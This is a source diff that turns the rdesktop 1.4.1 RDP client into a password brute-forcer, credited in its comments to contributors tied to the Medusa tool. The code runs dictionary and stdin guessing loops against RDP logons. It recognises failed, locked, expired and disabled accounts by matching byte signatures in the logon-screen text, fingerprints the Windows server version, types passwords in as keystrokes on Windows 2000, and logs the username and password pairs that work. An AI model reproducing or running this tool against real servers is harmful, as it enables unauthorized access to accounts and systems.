diff -rub rdesktop-1.4.1/orders.c rdesktop-jmk/orders.c
--- rdesktop-1.4.1/orders.c	2005-04-23 17:38:37.000000000 -0500
+++ rdesktop-jmk/orders.c	2006-01-16 13:10:40.000000000 -0600
@@ -21,10 +21,21 @@
 #include "rdesktop.h"
 #include "orders.h"
 
+
 extern uint8 *g_next_packet;
 static RDP_ORDER_STATE g_order_state;
 extern BOOL g_use_rdp5;
 
+/* brute-force mode */
+#include <time.h>
+#include "scancodes.h"
+extern BOOL g_brute_complete;
+extern int g_brute_logon_status;
+extern int g_brute_mode;
+extern int g_server_version;
+extern int g_brute_w2k_send_logon;
+extern int g_w2k_auth_count;
+
 /* Read field indicating which parameters are present */
 static void
 rdp_in_present(STREAM s, uint32 * present, uint8 flags, int size)
@@ -863,6 +874,99 @@
 
 	DEBUG(("\n"));
 
+  /* Check text for failed logon message. This is a complete guess/hack... */
+  if (g_brute_mode != BRUTE_NONE)
+  {
+    if (!memcmp(os->text, LOGON_AUTH_FAILED, 3))
+    {
+      fprintf(stderr, "Retrieved connection termination packet.\n");
+      g_brute_complete = True;
+    }
+
+    if (g_server_version == VERSION_SRV_2K)
+    {
+      if (!memcmp(os->text, LOGON_W2K_BANNER, 23))
+      {
+        fprintf(stderr, "Retrieved Windows 2000 logon window.\n");
+        g_brute_w2k_send_logon = LOGIN_WIN_READY;
+      }
+    
+      /* if we see this message twice and we haven't seen "FE 00 00", we must have succeeded, right??? */
+      if (!memcmp(os->text, LOGON_W2K_MESSAGE, 4))
+      {
+        g_w2k_auth_count++;
+     
+        if ((!g_brute_complete) && (g_w2k_auth_count > 1))
+        {
+          fprintf(stderr, "Windows 2000 successful authentication.\n");
+          g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+          g_brute_complete = True;
+        }
+      }
+      else if (g_brute_complete)
+      {
+        fprintf(stderr, "Windows 2000 authentication failed.\n");
+        if (g_brute_logon_status == LOGIN_RESULT_UNKNOWN) 
+          g_brute_logon_status = LOGIN_RESULT_FAIL;
+      }
+    }
+
+    if ((!memcmp(os->text, LOGON_MESSAGE_FAILED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_FAILED_2K3, 18)))
+    {
+      fprintf(stderr, "Account credentials are NOT valid.\n");
+      g_brute_logon_status = LOGIN_RESULT_FAIL;
+    }
+    else if ((!memcmp(os->text, LOGON_MESSAGE_NO_INTERACTIVE_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_NO_INTERACTIVE_2K3, 18)))
+    {
+      fprintf(stderr, "Account credentials are valid, however, the account is denied interactive logon.\n");
+      g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+    }
+    else if ((!memcmp(os->text, LOGON_MESSAGE_LOCKED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_LOCKED_2K3, 18)))
+    {
+      fprintf(stderr, "Account is currently locked out.\n");
+      g_brute_logon_status = LOGIN_RESULT_ERROR;
+    }
+    else if ((!memcmp(os->text, LOGON_MESSAGE_DISABLED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_DISABLED_2K3, 18))) 
+    {
+      fprintf(stderr, "Account is currently disabled or expired. XP appears to report that an account is disabled only for valid credentials.\n");
+      g_brute_logon_status = LOGIN_RESULT_ERROR;
+    }
+    else if ((!memcmp(os->text, LOGON_MESSAGE_EXPIRED_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_EXPIRED_2K3, 18)) ||
+             (!memcmp(os->text, LOGON_MESSAGE_EXPIRED_W2K, 18)))
+    {
+      fprintf(stderr, "Account credentials are valid, however, the password has expired and must be changed.\n");
+      g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+    }
+    else if ((!memcmp(os->text, LOGON_MESSAGE_MUST_CHANGE_XP, 18)) || (!memcmp(os->text, LOGON_MESSAGE_MUST_CHANGE_2K3, 18)))
+    {
+      fprintf(stderr, "Account credentials are valid, however, the password must be changed at first logon.\n");
+      g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+    }
+    else if (!memcmp(os->text, LOGON_MESSAGE_MSTS_MAX_2K3, 18))
+    {
+      fprintf(stderr, "Account credentials are valid, however, the maximum number of terminal services connections has been reached.\n");
+      rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ESC );
+      rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ESC );
+      g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+    }
+    else if (!memcmp(os->text, LOGON_MESSAGE_CURRENT_USER_XP, 18))
+    {
+      fprintf(stderr, "Valid credentials, however, another user is currently logged on.\n");
+      /* Unable to ESC message about booting current user, so say NO. */
+      rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_N );
+      rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_N );
+      g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+      g_brute_complete = True;
+    }
+    else
+    {
+      DEBUG(("Logon failed with unknown text message: "));
+  	  for (i = 0; i < os->length; i++)
+	  	  DEBUG(("%02x ", os->text[i]));
+	    DEBUG(("\n"));
+    }
+  }
+
 	ui_draw_text(os->font, os->flags, os->opcode - 1, os->mixmode, os->x, os->y,
 		     os->clipleft, os->cliptop, os->clipright - os->clipleft,
 		     os->clipbottom - os->cliptop, os->boxleft, os->boxtop,
diff -rub rdesktop-1.4.1/orders.h rdesktop-jmk/orders.h
--- rdesktop-1.4.1/orders.h	2005-03-10 16:40:20.000000000 -0600
+++ rdesktop-jmk/orders.h	2006-01-16 12:41:04.000000000 -0600
@@ -18,6 +18,52 @@
    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 */
 
+/* brute-force code */
+
+/* The following is a complete guess... */
+
+/* This appears to indicate that our attempt has failed in some way */
+#define LOGON_AUTH_FAILED "\xfe\x00\x00"
+
+/* Windows 2000 logon banner */
+#define LOGON_W2K_BANNER  "\x1d\x00\x0c\x07\x1e\x07\x1f\x08\x20\x08\x21\x07\x1f\x06\x22\x08\x1f\x07\x1e\x08\x23\x08\x24"
+
+/* Using this string to track if we've successfully logged on */
+#define LOGON_W2K_MESSAGE "\x1f\x00\x26\x08"
+
+/* The system could not log you on. Make sure your User name and domain are correct [FAILED] */
+#define LOGON_MESSAGE_FAILED_XP  "\x17\x00\x18\x06\x10\x06\x1a\x09\x1b\x05\x1a\x06\x1c\x05\x10\x04\x1d\x06"
+#define LOGON_MESSAGE_FAILED_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x05\x15\x06\x17\x05\x13\x04\x18\x06"
+
+/* The local policy of this system does not permit you to logon interactively. [SUCCESS] */
+#define LOGON_MESSAGE_NO_INTERACTIVE_XP  "\x17\x00\x18\x06\x10\x06\x11\x09\x1a\x02\x0f\x06\x0d\x05\x11\x06\x1b\x05"
+#define LOGON_MESSAGE_NO_INTERACTIVE_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x02\x17\x06\x18\x05\x15\x06\x19\x05"
+
+/* Unable to log you on because your account has been locked out */
+#define LOGON_MESSAGE_LOCKED_XP  "\x17\x00\x0e\x07\x0d\x06\x18\x06\x11\x06\x10\x02\x1a\x09\x1b\x04\x11\x09"
+#define LOGON_MESSAGE_LOCKED_2K3 "\x11\x00\x12\x07\x13\x06\x14\x06\x15\x06\x16\x02\x18\x09\x19\x04\x15\x09"
+
+/* Your account has been disabled. Please see your system administrator. [ERROR] */
+/* Your account has expired. Please see your system administrator. [ERROR] */
+#define LOGON_MESSAGE_DISABLED_XP  "\x17\x00\x18\x06\x19\x06\x1a\x06\x0d\x07\x0f\x06\x0f\x05\x18\x05\x19\x06"
+#define LOGON_MESSAGE_DISABLED_2K3 "\x11\x00\x12\x06\x13\x06\x14\x06\x16\x07\x17\x06\x17\x05\x12\x05\x13\x06"
+
+/* Your password has expired and must be changed. [SUCCESS] */
+#define LOGON_MESSAGE_EXPIRED_XP  "\x17\x00\x18\x06\x19\x06\x0d\x09\x1b\x06\x10\x04\x1b\x09\x10\x04\x1c\x06"
+#define LOGON_MESSAGE_EXPIRED_2K3 "\x11\x00\x12\x06\x13\x06\x14\x06\x16\x07\x17\x06\x18\x06\x18\x05\x19\x05"
+#define LOGON_MESSAGE_EXPIRED_W2K "\x00\x00\x01\x06\x02\x07\x01\x07\x05\x07\x2d\x0a\x2e\x0a\x0b\x07\x0b\x06"
+
+/* You are required to change your password at first logon. [SUCCESS] */
+#define LOGON_MESSAGE_MUST_CHANGE_XP  "\x17\x00\x18\x06\x19\x06\x0d\x09\x1b\x06\x10\x04\x1b\x09\x10\x04\x1c\x06"
+#define LOGON_MESSAGE_MUST_CHANGE_2K3 "\x11\x00\x12\x06\x13\x06\x15\x09\x16\x06\x17\x04\x16\x09\x17\x04\x18\x06"
+
+/* The terminal server has exceeded the maximum number of allowed connections. [SUCCESS] */
+#define LOGON_MESSAGE_MSTS_MAX_2K3 "\x00\x00\x01\x06\x02\x07\x01\x07\x05\x07\x24\x0a\x25\x0a\x0b\x07\x0b\x06\x26"
+
+/* The user MACHINE_NAME\USER is currently logged on to this computer. [SUCCESS] */
+#define LOGON_MESSAGE_CURRENT_USER_XP "\x12\x00\x13\x07\x10\x05\x14\x06\x0e\x07\x0d\x06\x16\x06\x10\x08\x17\x06"
+/* end brute-force code */
+
 #define RDP_ORDER_STANDARD   0x01
 #define RDP_ORDER_SECONDARY  0x02
 #define RDP_ORDER_BOUNDS     0x04
diff -rub rdesktop-1.4.1/rdesktop.c rdesktop-jmk/rdesktop.c
--- rdesktop-1.4.1/rdesktop.c	2005-04-22 17:12:28.000000000 -0500
+++ rdesktop-jmk/rdesktop.c	2006-01-16 13:34:07.000000000 -0600
@@ -16,6 +16,16 @@
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+
+
+   2005-07-07 - Added dictionary support for automated login testing
+                patrik@cqure.net
+
+   2005-12-22 - Modified stdin password method to support Medusa wrapper
+                module (www.foofus.net/jmk/medusa/medusa.html). Also heavily
+                modified brute-force guessing to match various error messages
+                and kinda work against Windows 2000.
+                JoMo-Kun <jmk@foofus.net>
 */
 
 #include <stdarg.h>		/* va_list va_start va_end */
@@ -47,6 +57,13 @@
 
 #include <openssl/md5.h>
 
+int g_brute_mode = BRUTE_NONE;
+int g_brute_logon_status = LOGIN_RESULT_UNKNOWN;
+int g_server_version = VERSION_SRV_UNKNOWN;
+int g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN;
+int g_w2k_auth_count = 0;
+char *g_password = NULL;
+
 char g_title[64] = "";
 char g_username[64];
 char g_hostname[16];
@@ -88,6 +105,7 @@
 uint32 g_embed_wnd;
 uint32 g_rdp5_performanceflags =
 	RDP5_NO_WALLPAPER | RDP5_NO_FULLWINDOWDRAG | RDP5_NO_MENUANIMATIONS;
+FILE *g_logger = NULL;
 
 #ifdef WITH_RDPSND
 BOOL g_rdpsnd = False;
@@ -100,6 +118,7 @@
 extern RDPDR_DEVICE g_rdpdr_device[];
 extern uint32 g_num_devices;
 extern char *g_rdpdr_clientname;
+extern BOOL g_loggedon;
 
 #ifdef RDP2VNC
 extern int rfb_port;
@@ -114,6 +133,8 @@
 {
 	fprintf(stderr, "rdesktop: A Remote Desktop Protocol client.\n");
 	fprintf(stderr, "Version " VERSION ". Copyright (C) 1999-2005 Matt Chapman.\n");
+	fprintf(stderr, "Password guess patch by patrik@cqure.net\n");
+	fprintf(stderr, "Modified by jmk@foofus.net for use with the brute-forcer Medusa.\n");
 	fprintf(stderr, "See http://www.rdesktop.org/ for more information.\n\n");
 
 	fprintf(stderr, "Usage: %s [options] server[:port]\n", program);
@@ -125,7 +146,7 @@
 	fprintf(stderr, "   -d: domain\n");
 	fprintf(stderr, "   -s: shell\n");
 	fprintf(stderr, "   -c: working directory\n");
-	fprintf(stderr, "   -p: password (- to prompt)\n");
+	fprintf(stderr, "   -p: password (- to prompt,filename for dictionary)\n");
 	fprintf(stderr, "   -n: client hostname\n");
 	fprintf(stderr, "   -k: keyboard layout on server (en-us, de, sv, etc.)\n");
 	fprintf(stderr, "   -g: desktop geometry (WxH)\n");
@@ -169,6 +190,7 @@
 	fprintf(stderr, "   -0: attach to console\n");
 	fprintf(stderr, "   -4: use RDP version 4\n");
 	fprintf(stderr, "   -5: use RDP version 5 (default)\n");
+	fprintf(stderr, "   -l: logfile\n");
 }
 
 void
@@ -355,6 +377,41 @@
 
 }
 
+void
+chomp( char *p )
+{
+	while( *p )
+	{
+		if (( '\r' == *p ) || ( '\n' == *p ) )
+			*p = 0;
+
+		*p++;
+	}
+}
+
+int
+logprintf( const char *format, ... )
+{
+	
+	va_list args;
+	int i;
+	
+	va_start( args, format );
+	
+	if ( g_logger ) {
+		i = vfprintf( g_logger, format, args );
+		vprintf( format, args );
+	}
+	else {
+		i = vprintf( format, args );
+	}
+	
+	va_end( args );
+	
+	return i;
+}
+
+
 /* Client program */
 int
 main(int argc, char *argv[])
@@ -365,11 +422,12 @@
 	char password[64];
 	char shell[128];
 	char directory[32];
+	FILE *dicfile = NULL;
 	BOOL prompt_password, deactivated;
 	struct passwd *pw;
 	uint32 flags, ext_disc_reason = 0;
 	char *p;
-	int c;
+	int c, i;
 
 	int username_option = 0;
 
@@ -388,7 +446,7 @@
 #endif
 
 	while ((c = getopt(argc, argv,
-			   VNCOPT "u:L:d:s:c:p:n:k:g:fbBeEmzCDKS:T:NX:a:x:Pr:045h?")) != -1)
+			   VNCOPT "u:L:d:s:c:p:n:k:g:fbBeEmzCDKS:T:NX:a:x:Pr:045h?l:")) != -1)
 	{
 		switch (c)
 		{
@@ -435,6 +493,13 @@
 				if ((optarg[0] == '-') && (optarg[1] == 0))
 				{
 					prompt_password = True;
+					g_brute_mode = BRUTE_STDIN;
+          flags |= RDP_LOGON_AUTO;
+					break;
+				}
+				else if ( (dicfile = fopen( optarg, "r" ) ) ) {
+					g_brute_mode = BRUTE_FILE;
+          flags |= RDP_LOGON_AUTO;
 					break;
 				}
 
@@ -681,6 +746,13 @@
 			case '5':
 				g_use_rdp5 = True;
 				break;
+		        case 'l':
+				if ( NULL == ( g_logger = fopen( optarg, "w" ) ) )
+				{
+					fprintf(stderr, "Failed to open logfile (%s)\n", optarg);
+					return 1;
+				}    
+				break;
 
 			case 'h':
 			case '?':
@@ -740,9 +812,6 @@
 		STRNCPY(g_hostname, fullhostname, sizeof(g_hostname));
 	}
 
-	if (prompt_password && read_password(password, sizeof(password)))
-		flags |= RDP_LOGON_AUTO;
-
 	if (g_title[0] == 0)
 	{
 		strcpy(g_title, "rdesktop - ");
@@ -763,6 +832,7 @@
 #endif
 	rdpdr_init();
 
+	if (g_brute_mode == BRUTE_NONE)
 	if (!rdp_connect(server, flags, domain, password, shell, directory))
 		return 1;
 
@@ -771,19 +841,154 @@
 	if (!packet_encryption)
 		g_encryption = False;
 
-
+	if (g_brute_mode == BRUTE_NONE) 
+	{
 	DEBUG(("Connection successful.\n"));
 	memset(password, 0, sizeof(password));
+	}
 
 	if (ui_create_window())
 	{
+		if ((g_brute_mode == BRUTE_FILE) && (dicfile)) {
+			logprintf("\nStarting dictionary attack against server %s\n", server);
+			logprintf("------------------------------------------");
+
+			for ( i=0; i<strlen(server); i++ )
+				logprintf("-");
+
+			logprintf("\n");
+			
+			while ( ( !g_loggedon ) && ( fgets( password, sizeof( password ) - 1, dicfile ) ) ) {
+				chomp( password );
+
+				g_encryption = True;
+
+        int sleep_count = 0;
+				while (!rdp_connect(server, flags, domain, password, shell, directory))
+        {
+          /* rdesktop seems to flake out after brute-forcing a bit. let's try again... */
+          fprintf(stderr, "Server appears to be flaking out. Sleeping (%d) seconds...\n", sleep_count);
+          sleep(sleep_count);
+          sleep_count += 5;
+
+          if (sleep_count > 15)
+          {
+            fprintf(stderr, "This shit is broke, I'm bailing...\n");
+            return 1;
+          }
+        }
+
+        if (g_server_version == VERSION_SRV_2K)
+        {
+          fprintf(stderr, "Server appears to be Windows 2000, brute-force guessing kinda works...\n");
+          g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN;
+          g_w2k_auth_count = 0;
+          g_password = password;
+        }
+
+				if (!packet_encryption)
+					g_encryption = False;
+
 		rdp_main_loop(&deactivated, &ext_disc_reason);
+				rdp_disconnect();
+
+        switch (g_brute_logon_status)
+        {
+          case LOGIN_RESULT_SUCCESS:
+					  logprintf("[success] User \"%s\" Password \"%s\"\n", g_username, password );
+            break;
+          case LOGIN_RESULT_FAIL:
+ 					  logprintf( "[failure] User \"%s\" Password \"%s\"\n", g_username, password );
+            break;
+          case LOGIN_RESULT_ERROR:
+ 					  logprintf( "[error] User \"%s\" Password \"%s\"\n", g_username, password );
+            return 1;
+            break;
+          default:
+ 					  logprintf( "[error] User \"%s\" Password \"%s\". Connection terminated due to unknown error.\n", g_username, password );
+            return 1;
+            break;
+        }
+      }
+		}
+    else if (g_brute_mode == BRUTE_STDIN)
+    {
+      fprintf(stderr, "Starting brute-force attack via STDIN against %s\n", server);
+
+      while(!g_loggedon)
+      {
+        read_password(password, sizeof(password));
+
+        g_encryption = True;
+
+        int sleep_count = 0;
+				while (!rdp_connect(server, flags, domain, password, shell, directory))
+        {
+          /* rdesktop seems to flake out after brute-forcing a bit. let's try again... */
+          fprintf(stderr, "Server appears to be flaking out. Sleeping (%d) seconds...\n", sleep_count);
+          sleep(sleep_count);
+          sleep_count += 5;
+
+          if (sleep_count > 15)
+          {
+            fprintf(stderr, "This shit is broke, I'm bailing...\n");
+            fprintf(stderr, "LOGIN_RESULT_ERROR:Server stopped responding.\n");
+            return 1;
+          }
+        }
+        
+        if (g_server_version == VERSION_SRV_2K)
+        {
+          fprintf(stderr, "Server appears to be Windows 2000, brute-force guessing kinda works...\n");
+          g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN;
+          g_w2k_auth_count = 0;
+          g_password = password;
+        }
+
+        if (!packet_encryption)
+          g_encryption = False;
+
+        rdp_main_loop(&deactivated, &ext_disc_reason);        
+        rdp_disconnect();
+
+        switch (g_brute_logon_status)
+        {
+          case LOGIN_RESULT_SUCCESS:
+            fprintf(stderr, "LOGIN_RESULT_SUCCESS\n");
+            break;
+          case LOGIN_RESULT_FAIL:
+            fprintf(stderr, "LOGIN_RESULT_FAILURE\n");
+            break;
+          case LOGIN_RESULT_ERROR:
+            fprintf(stderr, "LOGIN_RESULT_ERROR\n");
+            return 1;
+            break;
+          default:
+            fprintf(stderr, "LOGIN_RESULT_ERROR:Connection terminated due to unknown error.\n");
+            return 1;
+            break;
+        }
+      }
+    }
+		else
+    {
+		  rdp_main_loop(&deactivated, &ext_disc_reason);
+		}
+
 		ui_destroy_window();
 	}
 
+	if (g_brute_mode == BRUTE_NONE) {
 	DEBUG(("Disconnecting...\n"));
 	rdp_disconnect();
 	cache_save_state();
+	}
+	else
+  {
+    if (g_logger)
+		  fclose( g_logger );
+  }
+  
 	ui_deinit();
 
 	if (ext_disc_reason >= 2)
@@ -1081,7 +1286,6 @@
 	}
 }
 
-
 /* not all clibs got ltoa */
 #define LTOA_BUFSIZE (sizeof(long) * 8 + 1)
 
diff -rub rdesktop-1.4.1/rdesktop.h rdesktop-jmk/rdesktop.h
--- rdesktop-1.4.1/rdesktop.h	2005-05-04 15:32:41.000000000 -0500
+++ rdesktop-jmk/rdesktop.h	2006-01-11 17:09:43.000000000 -0600
@@ -32,6 +32,20 @@
 
 #define VERSION "1.4.1"
 
+#define BRUTE_NONE 1
+#define BRUTE_STDIN 2
+#define BRUTE_FILE 3
+#define VERSION_SRV_UNKNOWN 0
+#define VERSION_SRV_XP2K3 1
+#define VERSION_SRV_2K 2
+#define LOGIN_RESULT_UNKNOWN 1
+#define LOGIN_RESULT_SUCCESS 2
+#define LOGIN_RESULT_FAIL 3
+#define LOGIN_RESULT_ERROR 4
+#define LOGIN_WIN_UNKNOWN 0
+#define LOGIN_WIN_PROC 1
+#define LOGIN_WIN_READY 2
+
 #ifdef WITH_DEBUG
 #define DEBUG(args)	printf args;
 #else
diff -rub rdesktop-1.4.1/rdp.c rdesktop-jmk/rdp.c
--- rdesktop-1.4.1/rdp.c	2005-04-22 17:12:28.000000000 -0500
+++ rdesktop-jmk/rdp.c	2006-01-13 16:28:56.000000000 -0600
@@ -16,12 +16,16 @@
    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+
+   2005-07-07 Addedd support for detecting failed/successful login attempts
+
 */
 
 #include <time.h>
 #include <errno.h>
 #include <unistd.h>
 #include "rdesktop.h"
+#include "scancodes.h"
 
 #ifdef HAVE_ICONV
 #ifdef HAVE_ICONV_H
@@ -64,6 +68,20 @@
 static BOOL g_iconv_works = True;
 #endif
 
+/* brute-force stuff */
+extern int g_brute_mode;
+extern int g_server_version;
+extern int g_brute_logon_status;
+extern char* g_password;
+extern BOOL g_brute_w2k_send_logon;
+BOOL g_loggedon = False;
+BOOL g_brute_complete = False;
+#define KEYMAP_MASK 0xffff
+#define KEYMAP_SIZE 0xffff+1
+extern key_translation keymap[KEYMAP_SIZE];
+/* end brute-force */
+
+
 /* Receive an RDP packet */
 static STREAM
 rdp_recv(uint8 * type)
@@ -1241,6 +1259,7 @@
 
 		case RDP_DATA_PDU_LOGON:
 			DEBUG(("Received Logon PDU\n"));
+			g_loggedon = True;
 			/* User logged on */
 			break;
 
@@ -1274,6 +1293,63 @@
 
 	while (cont)
 	{
+    if (g_brute_mode != BRUTE_NONE)
+    {
+      if ( g_loggedon )
+      {
+        DEBUG(("Brute-force complete, successful authentication.\n"));
+        g_brute_logon_status = LOGIN_RESULT_SUCCESS;
+        disc = True;
+      }
+      else if ( g_brute_complete )
+      {
+        /* failed */
+        DEBUG(("Brute-force complete, terminating connection.\n"));
+        rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ESC );
+        rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ESC );
+        g_brute_complete = False;
+       
+        /* w2k success */
+        if (g_server_version == VERSION_SRV_2K)
+          disc = True;
+      }
+    
+      if ((g_server_version == VERSION_SRV_2K) && (g_brute_w2k_send_logon == LOGIN_WIN_READY))
+      {
+        g_brute_w2k_send_logon = LOGIN_WIN_UNKNOWN;
+
+        DEBUG(("Sending password: %s\n", g_password));
+        int i;
+        char keysym;
+        uint8 scancode;
+        
+        /* TAB to username field to view text */
+        //for(i = 0; i < 5; i++)
+        //{ 
+        //  rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_TAB );
+        //  rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_TAB );
+        //}
+        
+        for(i = 0; i < strlen(g_password); i++)
+        {
+          keysym = g_password[i];
+          scancode = keymap[keysym & KEYMAP_MASK].scancode;
+          DEBUG(("Sending CHAR: %c KEYSYM: 0x%x SCANCODE: 0x%x\n", keysym, (unsigned int) keysym, scancode));
+          
+          if (keymap[keysym & KEYMAP_MASK].modifiers == 0x0)
+            rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_LSHIFT);
+          else
+            rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_LSHIFT);
+          
+          rdp_send_scancode( time(NULL), RDP_KEYPRESS, scancode );
+          rdp_send_scancode( time(NULL), RDP_KEYRELEASE, scancode );
+        }
+        rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_LSHIFT);
+        rdp_send_scancode( time(NULL), RDP_KEYPRESS, SCANCODE_CHAR_ENTER );
+        rdp_send_scancode( time(NULL), RDP_KEYRELEASE, SCANCODE_CHAR_ENTER );
+      }
+    }
+
 		s = rdp_recv(&type);
 		if (s == NULL)
 			return False;
@@ -1292,6 +1368,15 @@
 				break;
 			case 0:
 				break;
+			case 15:
+        /* Intermittent with W2K brute-forcing issue */
+				if (g_server_version == VERSION_SRV_2K)
+        {
+          DEBUG(("Brute-force connection to Windows 2000 is fubar'd.\n"));
+          g_brute_logon_status = LOGIN_RESULT_ERROR;
+				  disc = True;
+				}
+        break;
 			default:
 				unimpl("PDU %d\n", type);
 		}
diff -rub rdesktop-1.4.1/secure.c rdesktop-jmk/secure.c
--- rdesktop-1.4.1/secure.c	2005-03-06 15:11:17.000000000 -0600
+++ rdesktop-jmk/secure.c	2006-01-11 16:52:51.000000000 -0600
@@ -39,6 +39,8 @@
 extern VCHANNEL g_channels[];
 extern unsigned int g_num_channels;
 
+extern int g_server_version;
+
 static int rc4_key_len;
 static RC4_KEY rc4_decrypt_key;
 static RC4_KEY rc4_encrypt_key;
@@ -761,6 +763,33 @@
 		g_use_rdp5 = 0;
 		g_server_bpp = 8;
 	}
+
+  /*
+    Attempting to determine server OS version. It appears that the 21st
+    byte in the response is 0x02 for XP/2K3 and 0x01 for W2K. Don't know
+    what this byte actually represents, so this is a complete hack...
+    
+    -0010 02 0c ec 00 01 00 00 00 02 00 00 00 20 00 00 00 ............ ...
+    +0010 02 0c ec 00 02 00 00 00 02 00 00 00 20 00 00 00 ............ ...
+  */
+  
+  //int datalen = s->end - s->p;
+	//hexdump(s->p, datalen);
+  switch ( *(s->p + 18) )
+  {
+    case 0x01:
+	    DEBUG_RDP5(("Server version appears to be Windows 2000.\n"));
+      g_server_version = VERSION_SRV_2K;
+      break;
+    case 0x02:
+	    DEBUG_RDP5(("Server version appears to be Windows XP/2003.\n"));
+      g_server_version = VERSION_SRV_XP2K3;
+      break;
+    default:
+	    DEBUG_RDP5(("Server version unknown. Interesting data: %d.\n", *(s->p + 18)));
+      g_server_version = VERSION_SRV_UNKNOWN;
+      break;
+  }
 }
 
 
diff -rub rdesktop-1.4.1/xkeymap.c rdesktop-jmk/xkeymap.c
--- rdesktop-1.4.1/xkeymap.c	2005-04-28 04:41:57.000000000 -0500
+++ rdesktop-jmk/xkeymap.c	2006-01-12 14:05:24.000000000 -0600
@@ -47,7 +47,8 @@
 extern BOOL g_numlock_sync;
 
 static BOOL keymap_loaded;
-static key_translation keymap[KEYMAP_SIZE];
+//static key_translation keymap[KEYMAP_SIZE];
+key_translation keymap[KEYMAP_SIZE];
 static int min_keycode;
 static uint16 remote_modifier_state = 0;
 static uint16 saved_remote_modifier_state = 0;
